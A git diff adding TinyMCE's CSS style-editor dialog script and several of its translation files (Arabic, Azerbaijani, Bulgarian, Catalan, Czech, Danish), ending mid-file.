+ // Setup box fields + + selectByValue(f, 'positioning_type', ce.style.position, true, true); + selectByValue(f, 'positioning_visibility', ce.style.visibility, true, true); + selectByValue(f, 'positioning_overflow', ce.style.overflow, true, true); + f.positioning_zindex.value = ce.style.zIndex ? ce.style.zIndex : ""; + + f.positioning_width.value = getNum(ce.style.width); + selectByValue(f, 'positioning_width_measurement', getMeasurement(ce.style.width)); + + f.positioning_height.value = getNum(ce.style.height); + selectByValue(f, 'positioning_height_measurement', getMeasurement(ce.style.height)); + + setupBox(f, ce, 'positioning_placement', '', '', ['top', 'right', 'bottom', 'left']); + + s = ce.style.clip.replace(new RegExp("rect\\('?([^']*)'?\\)", 'gi'), "$1"); + s = s.replace(/,/g, ' '); + + if (!hasEqualValues([getVal(s, 0), getVal(s, 1), getVal(s, 2), getVal(s, 3)])) { + f.positioning_clip_top.value = getNum(getVal(s, 0)); + selectByValue(f, 'positioning_clip_top_measurement', getMeasurement(getVal(s, 0))); + f.positioning_clip_right.value = getNum(getVal(s, 1)); + selectByValue(f, 'positioning_clip_right_measurement', getMeasurement(getVal(s, 1))); + f.positioning_clip_bottom.value = getNum(getVal(s, 2)); + selectByValue(f, 'positioning_clip_bottom_measurement', getMeasurement(getVal(s, 2))); + f.positioning_clip_left.value = getNum(getVal(s, 3)); + selectByValue(f, 'positioning_clip_left_measurement', getMeasurement(getVal(s, 3))); + } else { + f.positioning_clip_top.value = getNum(getVal(s, 0)); + selectByValue(f, 'positioning_clip_top_measurement', getMeasurement(getVal(s, 0))); + f.positioning_clip_right.value = f.positioning_clip_bottom.value = f.positioning_clip_left.value; + } + +// setupBox(f, ce, '', 'border', 'Color'); +} + +function getMeasurement(s) { + return s.replace(/^([0-9.]+)(.*)$/, "$2"); +} + +function getNum(s) { + if (new RegExp('^(?:[0-9.]+)(?:[a-z%]+)$', 'gi').test(s)) + return s.replace(/[^0-9.]/g, ''); + + return s; +} + +function inStr(s, n) { + return new RegExp(n, 'gi').test(s); +} + +function getVal(s, i) { + var a = s.split(' '); + + if (a.length > 1) + return a[i]; + + return ""; +} + +function setValue(f, n, v) { + if (f.elements[n].type == "text") + f.elements[n].value = v; + else + selectByValue(f, n, v, true, true); +} + +function setupBox(f, ce, fp, pr, sf, b) { + if (typeof(b) == "undefined") + b = ['Top', 'Right', 'Bottom', 'Left']; + + if (isSame(ce, pr, sf, b)) { + f.elements[fp + "_same"].checked = true; + + setValue(f, fp + "_top", getNum(ce.style[pr + b[0] + sf])); + f.elements[fp + "_top"].disabled = false; + + f.elements[fp + "_right"].value = ""; + f.elements[fp + "_right"].disabled = true; + f.elements[fp + "_bottom"].value = ""; + f.elements[fp + "_bottom"].disabled = true; + f.elements[fp + "_left"].value = ""; + f.elements[fp + "_left"].disabled = true; + + if (f.elements[fp + "_top_measurement"]) { + selectByValue(f, fp + '_top_measurement', getMeasurement(ce.style[pr + b[0] + sf])); + f.elements[fp + "_left_measurement"].disabled = true; + f.elements[fp + "_bottom_measurement"].disabled = true; + f.elements[fp + "_right_measurement"].disabled = true; + } + } else { + f.elements[fp + "_same"].checked = false; + + setValue(f, fp + "_top", getNum(ce.style[pr + b[0] + sf])); + f.elements[fp + "_top"].disabled = false; + + setValue(f, fp + "_right", getNum(ce.style[pr + b[1] + sf])); + f.elements[fp + "_right"].disabled = false; + + setValue(f, fp + "_bottom", getNum(ce.style[pr + b[2] + sf])); + f.elements[fp + "_bottom"].disabled = false; + + setValue(f, fp + "_left", getNum(ce.style[pr + b[3] + sf])); + f.elements[fp + "_left"].disabled = false; + + if (f.elements[fp + "_top_measurement"]) { + selectByValue(f, fp + '_top_measurement', getMeasurement(ce.style[pr + b[0] + sf])); + selectByValue(f, fp + '_right_measurement', getMeasurement(ce.style[pr + b[1] + sf])); + selectByValue(f, fp + '_bottom_measurement', getMeasurement(ce.style[pr + b[2] + sf])); + selectByValue(f, fp + '_left_measurement', getMeasurement(ce.style[pr + b[3] + sf])); + f.elements[fp + "_left_measurement"].disabled = false; + f.elements[fp + "_bottom_measurement"].disabled = false; + f.elements[fp + "_right_measurement"].disabled = false; + } + } +} + +function isSame(e, pr, sf, b) { + var a = [], i, x; + + if (typeof(b) == "undefined") + b = ['Top', 'Right', 'Bottom', 'Left']; + + if (typeof(sf) == "undefined" || sf == null) + sf = ""; + + a[0] = e.style[pr + b[0] + sf]; + a[1] = e.style[pr + b[1] + sf]; + a[2] = e.style[pr + b[2] + sf]; + a[3] = e.style[pr + b[3] + sf]; + + for (i=0; i 0 ? s.substring(1) : s; + + if (f.text_none.checked) + s = "none"; + + ce.style.textDecoration = s; + + // Build background styles + + ce.style.backgroundColor = f.background_color.value; + ce.style.backgroundImage = f.background_image.value != "" ? "url(" + f.background_image.value + ")" : ""; + ce.style.backgroundRepeat = f.background_repeat.value; + ce.style.backgroundAttachment = f.background_attachment.value; + + if (f.background_hpos.value != "") { + s = ""; + s += f.background_hpos.value + (isNum(f.background_hpos.value) ? f.background_hpos_measurement.value : "") + " "; + s += f.background_vpos.value + (isNum(f.background_vpos.value) ? f.background_vpos_measurement.value : ""); + ce.style.backgroundPosition = s; + } + + // Build block styles + + ce.style.wordSpacing = f.block_wordspacing.value + (isNum(f.block_wordspacing.value) ? f.block_wordspacing_measurement.value : ""); + ce.style.letterSpacing = f.block_letterspacing.value + (isNum(f.block_letterspacing.value) ? f.block_letterspacing_measurement.value : ""); + ce.style.verticalAlign = f.block_vertical_alignment.value; + ce.style.textAlign = f.block_text_align.value; + ce.style.textIndent = f.block_text_indent.value + (isNum(f.block_text_indent.value) ? f.block_text_indent_measurement.value : ""); + ce.style.whiteSpace = f.block_whitespace.value; + ce.style.display = f.block_display.value; + + // Build box styles + + ce.style.width = f.box_width.value + (isNum(f.box_width.value) ? f.box_width_measurement.value : ""); + ce.style.height = f.box_height.value + (isNum(f.box_height.value) ? f.box_height_measurement.value : ""); + ce.style.styleFloat = f.box_float.value; + ce.style.cssFloat = f.box_float.value; + + ce.style.clear = f.box_clear.value; + + if (!f.box_padding_same.checked) { + ce.style.paddingTop = f.box_padding_top.value + (isNum(f.box_padding_top.value) ? f.box_padding_top_measurement.value : ""); + ce.style.paddingRight = f.box_padding_right.value + (isNum(f.box_padding_right.value) ? f.box_padding_right_measurement.value : ""); + ce.style.paddingBottom = f.box_padding_bottom.value + (isNum(f.box_padding_bottom.value) ? f.box_padding_bottom_measurement.value : ""); + ce.style.paddingLeft = f.box_padding_left.value + (isNum(f.box_padding_left.value) ? f.box_padding_left_measurement.value : ""); + } else + ce.style.padding = f.box_padding_top.value + (isNum(f.box_padding_top.value) ? f.box_padding_top_measurement.value : ""); + + if (!f.box_margin_same.checked) { + ce.style.marginTop = f.box_margin_top.value + (isNum(f.box_margin_top.value) ? f.box_margin_top_measurement.value : ""); + ce.style.marginRight = f.box_margin_right.value + (isNum(f.box_margin_right.value) ? f.box_margin_right_measurement.value : ""); + ce.style.marginBottom = f.box_margin_bottom.value + (isNum(f.box_margin_bottom.value) ? f.box_margin_bottom_measurement.value : ""); + ce.style.marginLeft = f.box_margin_left.value + (isNum(f.box_margin_left.value) ? f.box_margin_left_measurement.value : ""); + } else + ce.style.margin = f.box_margin_top.value + (isNum(f.box_margin_top.value) ? f.box_margin_top_measurement.value : ""); + + // Build border styles + + if (!f.border_style_same.checked) { + ce.style.borderTopStyle = f.border_style_top.value; + ce.style.borderRightStyle = f.border_style_right.value; + ce.style.borderBottomStyle = f.border_style_bottom.value; + ce.style.borderLeftStyle = f.border_style_left.value; + } else + ce.style.borderStyle = f.border_style_top.value; + + if (!f.border_width_same.checked) { + ce.style.borderTopWidth = f.border_width_top.value + (isNum(f.border_width_top.value) ? f.border_width_top_measurement.value : ""); + ce.style.borderRightWidth = f.border_width_right.value + (isNum(f.border_width_right.value) ? f.border_width_right_measurement.value : ""); + ce.style.borderBottomWidth = f.border_width_bottom.value + (isNum(f.border_width_bottom.value) ? f.border_width_bottom_measurement.value : ""); + ce.style.borderLeftWidth = f.border_width_left.value + (isNum(f.border_width_left.value) ? f.border_width_left_measurement.value : ""); + } else + ce.style.borderWidth = f.border_width_top.value + (isNum(f.border_width_top.value) ? f.border_width_top_measurement.value : ""); + + if (!f.border_color_same.checked) { + ce.style.borderTopColor = f.border_color_top.value; + ce.style.borderRightColor = f.border_color_right.value; + ce.style.borderBottomColor = f.border_color_bottom.value; + ce.style.borderLeftColor = f.border_color_left.value; + } else + ce.style.borderColor = f.border_color_top.value; + + // Build list styles + + ce.style.listStyleType = f.list_type.value; + ce.style.listStylePosition = f.list_position.value; + ce.style.listStyleImage = f.list_bullet_image.value != "" ? "url(" + f.list_bullet_image.value + ")" : ""; + + // Build positioning styles + + ce.style.position = f.positioning_type.value; + ce.style.visibility = f.positioning_visibility.value; + + if (ce.style.width == "") + ce.style.width = f.positioning_width.value + (isNum(f.positioning_width.value) ? f.positioning_width_measurement.value : ""); + + if (ce.style.height == "") + ce.style.height = f.positioning_height.value + (isNum(f.positioning_height.value) ? f.positioning_height_measurement.value : ""); + + ce.style.zIndex = f.positioning_zindex.value; + ce.style.overflow = f.positioning_overflow.value; + + if (!f.positioning_placement_same.checked) { + ce.style.top = f.positioning_placement_top.value + (isNum(f.positioning_placement_top.value) ? f.positioning_placement_top_measurement.value : ""); + ce.style.right = f.positioning_placement_right.value + (isNum(f.positioning_placement_right.value) ? f.positioning_placement_right_measurement.value : ""); + ce.style.bottom = f.positioning_placement_bottom.value + (isNum(f.positioning_placement_bottom.value) ? f.positioning_placement_bottom_measurement.value : ""); + ce.style.left = f.positioning_placement_left.value + (isNum(f.positioning_placement_left.value) ? f.positioning_placement_left_measurement.value : ""); + } else { + s = f.positioning_placement_top.value + (isNum(f.positioning_placement_top.value) ? f.positioning_placement_top_measurement.value : ""); + ce.style.top = s; + ce.style.right = s; + ce.style.bottom = s; + ce.style.left = s; + } + + if (!f.positioning_clip_same.checked) { + s = "rect("; + s += (isNum(f.positioning_clip_top.value) ? f.positioning_clip_top.value + f.positioning_clip_top_measurement.value : "auto") + " "; + s += (isNum(f.positioning_clip_right.value) ? f.positioning_clip_right.value + f.positioning_clip_right_measurement.value : "auto") + " "; + s += (isNum(f.positioning_clip_bottom.value) ? f.positioning_clip_bottom.value + f.positioning_clip_bottom_measurement.value : "auto") + " "; + s += (isNum(f.positioning_clip_left.value) ? f.positioning_clip_left.value + f.positioning_clip_left_measurement.value : "auto"); + s += ")"; + + if (s != "rect(auto auto auto auto)") + ce.style.clip = s; + } else { + s = "rect("; + t = isNum(f.positioning_clip_top.value) ? f.positioning_clip_top.value + f.positioning_clip_top_measurement.value : "auto"; + s += t + " "; + s += t + " "; + s += t + " "; + s += t + ")"; + + if (s != "rect(auto auto auto auto)") + ce.style.clip = s; + } + + ce.style.cssText = ce.style.cssText; +} + +function isNum(s) { + return new RegExp('[0-9]+', 'g').test(s); +} + +function showDisabledControls() { + var f = document.forms, i, a; + + for (i=0; i 1) { + addSelectValue(f, s, p[0], p[1]); + + if (se) + selectByValue(f, s, p[1]); + } else { + addSelectValue(f, s, p[0], p[0]); + + if (se) + selectByValue(f, s, p[0]); + } + } +} + +function toggleSame(ce, pre) { + var el = document.forms[0].elements, i; + + if (ce.checked) { + el[pre + "_top"].disabled = false; + el[pre + "_right"].disabled = true; + el[pre + "_bottom"].disabled = true; + el[pre + "_left"].disabled = true; + + if (el[pre + "_top_measurement"]) { + el[pre + "_top_measurement"].disabled = false; + el[pre + "_right_measurement"].disabled = true; + el[pre + "_bottom_measurement"].disabled = true; + el[pre + "_left_measurement"].disabled = true; + } + } else { + el[pre + "_top"].disabled = false; + el[pre + "_right"].disabled = false; + el[pre + "_bottom"].disabled = false; + el[pre + "_left"].disabled = false; + + if (el[pre + "_top_measurement"]) { + el[pre + "_top_measurement"].disabled = false; + el[pre + "_right_measurement"].disabled = false; + el[pre + "_bottom_measurement"].disabled = false; + el[pre + "_left_measurement"].disabled = false; + } + } + + showDisabledControls(); +} + +function synch(fr, to) { + var f = document.forms[0]; + + f.elements[to].value = f.elements[fr].value; + + if (f.elements[fr + "_measurement"]) + selectByValue(f, to + "_measurement", f.elements[fr + "_measurement"].value); +} + +function updateTextDecorations(){ + var el = document.forms[0].elements; + + var textDecorations = ["text_underline", "text_overline", "text_linethrough", "text_blink"]; + var noneChecked = el["text_none"].checked; + tinymce.each(textDecorations, function(id) { + el[id].disabled = noneChecked; + if (noneChecked) { + el[id].checked = false; + } + }); +} + +tinyMCEPopup.onInit.add(init); diff --git a/js/tiny_mce2/plugins/style/langs/ar_dlg.js b/js/tiny_mce2/plugins/style/langs/ar_dlg.js new file mode 100755 index 0000000..8621f09 --- /dev/null +++ b/js/tiny_mce2/plugins/style/langs/ar_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ar.style_dlg',{"text_lineheight":"\u0627\u0631\u062a\u0641\u0627\u0639 \u0627\u0644\u062e\u0637","text_variant":"\u0634\u0643\u0644 \u0645\u062e\u062a\u0644\u0641","text_style":"\u0633\u0645\u0647","text_weight":"\u0627\u0644\u0639\u0631\u0636","text_size":"\u062d\u062c\u0645","text_font":"\u062e\u0637","text_props":"\u0646\u0635","positioning_tab":"\u0648\u0636\u0639","list_tab":"\u0642\u0627\u0626\u0645\u0647","border_tab":"\u0627\u0637\u0627\u0631","box_tab":"\u0635\u0646\u062f\u0648\u0642","block_tab":"\u0628\u0644\u0648\u0643","background_tab":"\u062e\u0644\u0641\u064a\u0647","text_tab":"\u0646\u0635",apply:"\u0627\u062f\u0631\u0627\u062c",title:"Edit CSS Style",clip:"Clip",placement:"Placement",overflow:"Overflow",zindex:"\u0627\u0644\u0628\u0639\u062f \u0627\u0644\u062b\u0627\u0644\u062b",visibility:"\u0627\u0644\u0638\u0647\u0648\u0631","positioning_type":"\u0646\u0648\u0639",position:"Position","bullet_image":"Bullet image","list_type":"\u0646\u0648\u0639",color:"\u0644\u0648\u0646",height:"\u0627\u0631\u062a\u0641\u0627\u0639",width:"\u0639\u0631\u0636",style:"\u0633\u0645\u0647",margin:"Margin",left:"\u064a\u0633\u0627\u0631",bottom:"\u0627\u0633\u0641\u0644",right:"\u064a\u0645\u064a\u0646",top:"\u0627\u0644\u0627\u0639\u0644\u0649",same:"\u0645\u062a\u0633\u0627\u0648\u0649 \u0644\u0644\u0643\u0644",padding:"Padding","box_clear":"Clear","box_float":"Float","box_height":"\u0627\u0631\u062a\u0641\u0627\u0639","box_width":"\u0639\u0631\u0636","block_display":"Display","block_whitespace":"Whitespace","block_text_indent":"Text indent","block_text_align":"Text align","block_vertical_alignment":"\u0645\u062d\u0627\u0632\u0627\u0647 \u0631\u0623\u0633\u064a\u0647","block_letterspacing":"\u062a\u0628\u0627\u0639\u062f \u0627\u0644\u062d\u0631\u0648\u0641","block_wordspacing":"\u062a\u0628\u0627\u0639\u062f \u0627\u0644\u0643\u0644\u0645\u0627\u062a","background_vpos":"Vertical position","background_hpos":"Horizontal position","background_attachment":"\u0645\u0631\u0641\u0642\u0627\u062a","background_repeat":"\u062a\u0643\u0631\u0627\u0631","background_image":"\u0635\u0648\u0631\u0629 \u0627\u0644\u062e\u0644\u0641\u064a\u0647","background_color":"\u0644\u0648\u0646 \u0627\u0644\u062e\u0644\u0641\u064a\u0647","text_none":"\u0644\u0627 \u0634\u0626","text_blink":"blink","text_case":"Case","text_striketrough":"strikethrough","text_underline":"\u062a\u062d\u062a\u0647 \u062e\u0637","text_overline":"\u0641\u0648\u0642\u0647 \u062e\u0637","text_decoration":"Decoration","text_color":"\u0644\u0648\u0646",text:"\u0646\u0635",background:"\u0627\u0644\u062e\u0644\u0641\u064a\u0629",block:"\u0628\u0644\u0648\u0643",box:"\u0635\u0646\u062f\u0648\u0642",border:"\u062d\u062f\u0648\u062f",list:"\u0642\u0627\u0626\u0645\u0629"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/langs/az_dlg.js b/js/tiny_mce2/plugins/style/langs/az_dlg.js new file mode 100755 index 0000000..81d8cdc --- /dev/null +++ b/js/tiny_mce2/plugins/style/langs/az_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('az.style_dlg',{"text_lineheight":"S\u0259tr h\u00fcnd\u00fcrl\u00fcy\u00fc","text_variant":"Variant","text_style":"Stil","text_weight":"\u00c7\u0259kisi","text_size":"\u00d6l\u00e7\u00fcs\u00fc","text_font":"\u015erift","text_props":"M\u0259tn","positioning_tab":"M\u00f6vqe","list_tab":"Siyah\u0131","border_tab":"S\u0259rh\u0259d","box_tab":"Konteyner","block_tab":"Blok","background_tab":"Fon","text_tab":"M\u0259tn",apply:"T\u0259tbiq et",title:"CSS stili redakt\u0259 et",clip:"K\u0259sm\u0259k",placement:"Yerl\u0259\u015fdirm\u0259",overflow:"Axma",zindex:"Z-indeks",visibility:"G\u00f6r\u00fcn\u00fc\u015f","positioning_type":"N\u00f6v",position:"M\u00f6vqe","bullet_image":"Marker \u015f\u0259kli","list_type":"N\u00f6v",color:"R\u0259ng",height:"H\u00fcnd\u00fcrl\u00fck",width:"En",style:"Stil",margin:"Sah\u0259l\u0259r",left:"Soldan",bottom:"A\u015fa\u011f\u0131dan",right:"Sa\u011fdan",top:"Yuxar\u0131dan",same:"Ham\u0131s\u0131 \u00fc\u00e7\u00fcn eyni",padding:"Doldurma","box_clear":"T\u0259mizl\u0259","box_float":"\u00dcz\u0259n","box_height":"Uzunlu\u011fu","box_width":"Eni","block_display":"N\u00fcmayis","block_whitespace":"Bo\u015fluq","block_text_indent":"M\u0259tn bo\u015flu\u011fu","block_text_align":"M\u0259tn tara\u015fla\u015fd\u0131r\u0131lmas\u0131","block_vertical_alignment":"\u015eaquli tarazla\u015fd\u0131r\u0131lma","block_letterspacing":"Simvol aras\u0131 bo\u015fluqlar","block_wordspacing":"S\u00f6zaras\u0131 bo\u015fluqlar","background_vpos":"\u015eaquli m\u00f6vqe","background_hpos":"\u00dcf\u00fcqi m\u00f6vqe","background_attachment":"B\u0259rkitm\u0259k","background_repeat":"T\u0259krar","background_image":"fon \u015f\u0259kli","background_color":"Fon r\u0259ngi","text_none":"he\u00e7 biri","text_blink":"Yan\u0131b-s\u00f6n\u0259n","text_case":"Registr","text_striketrough":"\u00fcst\u00fcnd\u0259n x\u0259tt","text_underline":"alt\u0131ndan x\u0259tt","text_overline":"\u00fcz\u0259rind\u0259n x\u0259tt","text_decoration":"B\u0259z\u0259k","text_color":"\u015e\u0259kil",text:"Text",background:"Background",block:"Block",box:"Box",border:"Border",list:"List"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/langs/bg_dlg.js b/js/tiny_mce2/plugins/style/langs/bg_dlg.js new file mode 100755 index 0000000..f091b7c --- /dev/null +++ b/js/tiny_mce2/plugins/style/langs/bg_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('bg.style_dlg',{"text_lineheight":"\u0412\u0438\u0441\u043e\u0447\u0438\u043d\u0430 \u043d\u0430 \u0440\u0435\u0434\u0430","text_variant":"\u041f\u0440\u043e\u043c\u0435\u043d\u043b\u0438\u0432","text_style":"\u0421\u0442\u0438\u043b","text_weight":"\u0422\u0435\u0433\u043b\u043e","text_size":"\u0420\u0430\u0437\u043c\u0435\u0440","text_font":"\u0428\u0440\u0438\u0444\u0442","text_props":"\u0422\u0435\u043a\u0441\u0442","positioning_tab":"\u041f\u043e\u0437\u0438\u0446\u0438\u043e\u043d\u0438\u0440\u0430\u043d\u0435","list_tab":"\u0421\u043f\u0438\u0441\u044a\u043a","border_tab":"\u0420\u0430\u043c\u043a\u0430","box_tab":"\u041a\u0443\u0442\u0438\u044f","block_tab":"\u0411\u043b\u043e\u043a","background_tab":"\u0424\u043e\u043d","text_tab":"\u0422\u0435\u043a\u0441\u0442",apply:"\u041f\u043e\u0442\u0432\u044a\u0440\u0434\u0438",title:"\u0420\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0430\u0439 CSS \u0441\u0442\u0438\u043b",clip:"\u041e\u0442\u0440\u0435\u0436\u0438",placement:"\u0420\u0430\u0437\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435",overflow:"Overflow",zindex:"Z-index",visibility:"\u0412\u0438\u0434\u0438\u043c\u043e\u0441\u0442","positioning_type":"\u0422\u0438\u043f",position:"\u041f\u043e\u0437\u0438\u0446\u0438\u044f","bullet_image":"\u0413\u0440\u0430\u0444\u0438\u043a\u0430 \u043d\u0430 \u0432\u043e\u0434\u0430\u0447\u0438\u0442\u0435","list_type":"\u0422\u0438\u043f",color:"\u0426\u0432\u044f\u0442",height:"\u0412\u0438\u0441\u043e\u0447\u0438\u043d\u0430",width:"\u0428\u0438\u0440\u0438\u043d\u0430",style:"\u0421\u0442\u0438\u043b",margin:"Margin",left:"\u041b\u044f\u0432\u043e",bottom:"\u0414\u043e\u043b\u0443",right:"\u0414\u044f\u0441\u043d\u043e",top:"\u0413\u043e\u0440\u0435",same:"\u0417\u0430 \u0432\u0441\u0438\u0447\u043a\u0438",padding:"Padding","box_clear":"\u0418\u0437\u0447\u0438\u0441\u0442\u0438","box_float":"Float","box_height":"\u0412\u0438\u0441\u043e\u0447\u0438\u043d\u0430","box_width":"\u0428\u0438\u0440\u0438\u043d\u0430","block_display":"\u041f\u043e\u043a\u0430\u0437\u0432\u0430\u043d\u0435","block_whitespace":"\u0418\u043d\u0442\u0435\u0440\u0432\u0430\u043b","block_text_indent":"\u041e\u0442\u0441\u0442\u044a\u043f \u043d\u0430 \u0442\u0435\u043a\u0441\u0442\u0430","block_text_align":"\u041f\u043e\u0434\u0440\u0430\u0432\u043d\u044f\u0432\u0430\u043d\u0435 \u043d\u0430 \u0442\u0435\u043a\u0441\u0442\u0430","block_vertical_alignment":"\u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u043d\u043e \u043f\u043e\u0434\u0440\u0430\u0432\u043d\u044f\u0432\u0430\u043d\u0435","block_letterspacing":"\u0420\u0430\u0437\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0431\u0443\u043a\u0432\u0438\u0442\u0435","block_wordspacing":"\u0420\u0430\u0437\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u043c\u0435\u0436\u0434\u0443 \u0434\u0443\u043c\u0438\u0442\u0435","background_vpos":"\u0412\u0435\u0440\u0442\u0438\u043a\u0430\u043b\u043d\u0430 \u043f\u043e\u0437\u0438\u0446\u0438\u044f","background_hpos":"\u0425\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u043d\u0430 \u043f\u043e\u0437\u0438\u0446\u0438\u044f","background_attachment":"\u041f\u0440\u0438\u043a\u0440\u0435\u043f\u0438","background_repeat":"\u041f\u043e\u0432\u0442\u043e\u0440\u0438","background_image":"\u041a\u0430\u0440\u0442\u0438\u043d\u043a\u0430 \u0437\u0430 \u0444\u043e\u043d","background_color":"\u0426\u0432\u044f\u0442 \u0437\u0430 \u0444\u043e\u043d","text_none":"\u043d\u0438\u0449\u043e","text_blink":"\u043c\u0438\u0433\u0430","text_case":"\u0420\u0435\u0433\u0438\u0441\u0442\u044a\u0440","text_striketrough":"\u0437\u0430\u0447\u0435\u0440\u0442\u0430\u043d","text_underline":"\u043f\u043e\u0434\u0447\u0435\u0440\u0442\u0430\u043d","text_overline":"\u043d\u0430\u0434\u0447\u0435\u0440\u0442\u0430\u043d","text_decoration":"\u0414\u0435\u043a\u043e\u0440\u0430\u0446\u0438\u044f","text_color":"\u0426\u0432\u044f\u0442",text:"\u0422\u0435\u043a\u0441\u0442",background:"\u0424\u043e\u043d",block:"\u0411\u043b\u043e\u043a",box:"\u041a\u0443\u0442\u0438\u044f",border:"\u0420\u0430\u043c\u043a\u0430",list:"\u0421\u043f\u0438\u0441\u044a\u043a"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/langs/ca_dlg.js b/js/tiny_mce2/plugins/style/langs/ca_dlg.js new file mode 100755 index 0000000..466109a --- /dev/null +++ b/js/tiny_mce2/plugins/style/langs/ca_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ca.style_dlg',{"text_lineheight":"Al\u00e7ada de l\u00ednia","text_variant":"Variant","text_style":"Estil","text_weight":"Pes","text_size":"Mida","text_font":"Font","text_props":"Text","positioning_tab":"Posicionament","list_tab":"Llista","border_tab":"Contorn","box_tab":"Quadre","block_tab":"Bloc","background_tab":"Fons","text_tab":"Text",apply:"Aplica",title:"Edita l\'estil CSS",clip:"Retall",placement:"Empla\u00e7ament",overflow:"Desbordament",zindex:"\u00cdndex Z",visibility:"Visibilitat","positioning_type":"Tipus",position:"Posici\u00f3","bullet_image":"Imatge pic","list_type":"Tipus",color:"Color",height:"Al\u00e7ada",width:"Amplada",style:"Estil",margin:"Marge",left:"Esquerra",bottom:"Avall",right:"Dreta",top:"Dalt",same:"Igual per a tot",padding:"Separaci\u00f3","box_clear":"Buida","box_float":"Flota","box_height":"Al\u00e7ada","box_width":"Amplada","block_display":"Visualitzaci\u00f3","block_whitespace":"Espai en blanc","block_text_indent":"Sagna el text","block_text_align":"Alinea el text","block_vertical_alignment":"Alineaci\u00f3 vertical","block_letterspacing":"Espaiat entre lletres","block_wordspacing":"Espaiat entre paraules","background_vpos":"Posici\u00f3 vertical","background_hpos":"Posici\u00f3 horitzontal","background_attachment":"Adjunt","background_repeat":"Repeteix","background_image":"Imatge de fons","background_color":"Color de fons","text_none":"cap","text_blink":"parpelleig","text_case":"Cas","text_striketrough":"barrat","text_underline":"subratllat","text_overline":"sobreratllat","text_decoration":"Decoraci\u00f3","text_color":"Color",text:"Text",background:"Fons",block:"Bloc",box:"Caixa",border:"Contorn",list:"Llista"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/langs/cs_dlg.js b/js/tiny_mce2/plugins/style/langs/cs_dlg.js new file mode 100755 index 0000000..8e6dc60 --- /dev/null +++ b/js/tiny_mce2/plugins/style/langs/cs_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('cs.style_dlg',{"text_lineheight":"V\u00fd\u0161ka \u0159\u00e1dku","text_variant":"Varianta","text_style":"Styl textu","text_weight":"Tu\u010dnost p\u00edsma","text_size":"Velikost","text_font":"P\u00edsmo","text_props":"Text","positioning_tab":"Um\u00edst\u011bn\u00ed","list_tab":"Seznam","border_tab":"Ohrani\u010den\u00ed","box_tab":"Box","block_tab":"Blok","background_tab":"Pozad\u00ed","text_tab":"Text",apply:"Pou\u017e\u00edt",title:"Upravit CSS styl",clip:"O\u0159ez\u00e1n\u00ed (clip)",placement:"Um\u00edst\u011bni",overflow:"P\u0159ete\u010den\u00ed (overflow)",zindex:"Z-index",visibility:"Viditelnost","positioning_type":"Typ",position:"Um\u00edst\u011bn\u00ed","bullet_image":"Styl odr\u00e1\u017eek","list_type":"Typ",color:"Barva",height:"V\u00fd\u0161ka",width:"\u0160\u00ed\u0159ka",style:"Styl",margin:"Okraje (margin)",left:"Vlevo",bottom:"Dole",right:"Vpravo",top:"Naho\u0159e",same:"Stejn\u00e9 pro v\u0161echny",padding:"Odsazen\u00ed (padding)","box_clear":"Vy\u010distit","box_float":"Plovouc\u00ed","box_height":"V\u00fd\u0161ka","box_width":"\u0160\u00ed\u0159ka","block_display":"Blokov\u00e9 zobrazen\u00ed","block_whitespace":"Zalamov\u00e1n\u00ed textu","block_text_indent":"Odsazen\u00ed textu","block_text_align":"Zarovn\u00e1n\u00ed textu","block_vertical_alignment":"Vertik\u00e1ln\u00ed zarovn\u00e1n\u00ed","block_letterspacing":"Rozestup znak\u016f","block_wordspacing":"Rozestup slov","background_vpos":"Vertik\u00e1ln\u00ed um\u00edst\u011bn\u00ed","background_hpos":"Horizont\u00e1ln\u00ed um\u00edst\u011bn\u00ed","background_attachment":"Rolov\u00e1n\u00ed","background_repeat":"Opakov\u00e1n\u00ed","background_image":"Obr\u00e1zek pozad\u00ed","background_color":"Barva pozad\u00ed","text_none":"\u017d\u00e1dn\u00e1","text_blink":"Blik\u00e1n\u00ed","text_case":"Velk\u00e1 p\u00edsmena","text_striketrough":"P\u0159e\u0161krtnut\u00ed","text_underline":"Podtr\u017een\u00ed","text_overline":"Nadtr\u017een\u00ed","text_decoration":"Dekorace","text_color":"Barva",text:"Text",background:"Pozad\u00ed",block:"Blok",box:"Box",border:"Okraj",list:"Seznam"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/style/langs/da_dlg.js b/js/tiny_mce2/plugins/style/langs/da_dlg.js new file mode 100755 index 0000000..733249f --- /dev/null +++ b/js/tiny_mce2/plugins/style/langs/da_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('da.style_dlg',{"text_lineheight":"Linieh\u00f8jde","text_variant":"Variant","text_style":"Stil","text_weight":"V\u00e6gt","text_size":"St\u00f8rrelse","text_font":"Skrifttype","text_props":"Tekst","positioning_tab":"Positionering","list_tab":"Liste","border_tab":"Kant","box_tab":"Boks","block_tab":"Blok","background_tab":"Baggrund","text_tab":"Tekst",apply:"Anvend",title:"Rediger CSS stil",clip:"Klip",placement:"Placering",overflow:"Overl\u00f8b",zindex:"Z-index",visibility:"Synlighed","positioning_type":"Type",position:"Position","bullet_image":"Punktopstillings-billede","list_type":"Type",color:"Farve",height:"H\u00f8jde",width:"Bredde",style:"Style",margin:"Margin",left:"Venstre",bottom:"Bund",right:"H\u00f8jre",top:"Top",same:"Ens for alle",padding:"Afstand til indhold","box_clear":"Ryd","box_float":"Flydende","box_height":"H\u00f8jde","box_width":"Bredde","block_display":"Vis","block_whitespace":"Mellemrum","block_text_indent":"Tekstindrykning","block_text_align":"Tekstjustering","block_vertical_alignment":"Vertikal justering","block_letterspacing":"Afstand mellem bogstaver","block_wordspacing":"Afstand mellem ord","background_vpos":"Vertikal 